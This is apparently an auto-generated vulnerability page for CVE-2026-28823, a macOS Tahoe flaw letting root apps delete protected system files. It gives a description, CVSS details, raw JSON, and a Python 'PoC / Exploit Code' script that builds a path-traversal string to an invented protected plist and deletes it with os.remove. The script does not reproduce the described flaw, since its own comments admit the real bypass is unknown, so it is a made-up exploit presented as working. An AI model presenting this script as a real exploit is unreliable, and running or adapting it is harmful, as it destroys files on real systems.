Security Vulnerability Report
中文
CVE-2026-28823 CVSS 4.9 MEDIUM

CVE-2026-28823

Published: 2026-03-25 01:17:07
Last Modified: 2026-03-25 20:29:05

Description

A path handling issue was addressed with improved validation. This issue is fixed in macOS Tahoe 26.4. An app with root privileges may be able to delete protected system files.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Tahoe < 26.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os # PoC for CVE-2026-28823 # This script demonstrates a path handling issue where validation might be bypassed. # Requirement: The script must be run with root privileges. TARGET_FILE = "/System/Library/Protected/secret_config.plist" def exploit_path_validation(): print("[+] Attempting to exploit CVE-2026-28823...") # Check if running as root if os.geteuid() != 0: print("[-] Error: This PoC requires root privileges (PR:H).") return # Construct a malicious path that might bypass validation logic # Example: Using relative path traversal or specific malformed sequences # Note: The actual bypass technique depends on the specific validation flaw. malicious_path = "./../../../../../../../../.." + TARGET_FILE # Normalize the path to see what it resolves to (simulation of system behavior) # In a vulnerable scenario, the system might not normalize correctly before check. resolved_path = os.path.abspath(malicious_path) print(f"[*] Malicious path input: {malicious_path}") print(f"[*] Resolved path: {resolved_path}") try: # Attempt to remove the protected file # In a real exploit, this would succeed due to lack of validation if os.path.exists(resolved_path): os.remove(resolved_path) print(f"[+] Success: Protected file at {resolved_path} has been deleted.") else: print(f"[-] File not found at {resolved_path}. (This is expected on patched systems or non-vulnerable paths)") except PermissionError: print("[-] Permission denied. Validation patch might be active or SIP is blocking.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit_path_validation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28823", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:07.493", "lastModified": "2026-03-25T20:29:05.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A path handling issue was addressed with improved validation. This issue is fixed in macOS Tahoe 26.4. An app with root privileges may be able to delete protected system files."}, {"lang": "es", "value": "Se abordó un problema de manejo de rutas con validación mejorada. Este problema está corregido en macOS Tahoe 26.4. Una aplicación con privilegios de root podría eliminar archivos de sistema protegidos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}